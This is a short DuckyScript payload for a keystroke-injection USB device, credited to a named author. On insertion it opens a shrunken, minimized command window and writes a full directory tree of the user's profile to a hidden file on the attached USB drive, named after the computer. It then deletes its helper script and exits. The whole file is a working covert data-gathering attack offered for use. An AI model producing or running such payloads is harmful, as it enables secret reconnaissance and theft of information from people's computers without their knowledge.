REM Payload created by Alex007-CyberGuy
REM Check the readme.md file for more info on the payload and what is does.
DEFAULTDELAY 250
DELAY 3000
GUI r
DELAY 400
STRING cmd /k "mode con:cols=18 lines=1&color FE&cd %userprofile%&for /f %d in ('wmic volume get driveletter^, label ^| findstr "USB"') do set myd=%d&echo tree /a /f > echotree.cmd"
ENTER
DELAY 350
STRING echotree.cmd > %myd%/%computername%.txt&del echotree.cmd&attrib +h %myd%/%computername%.txt&exit
ENTER
ALT SPACE
STRING n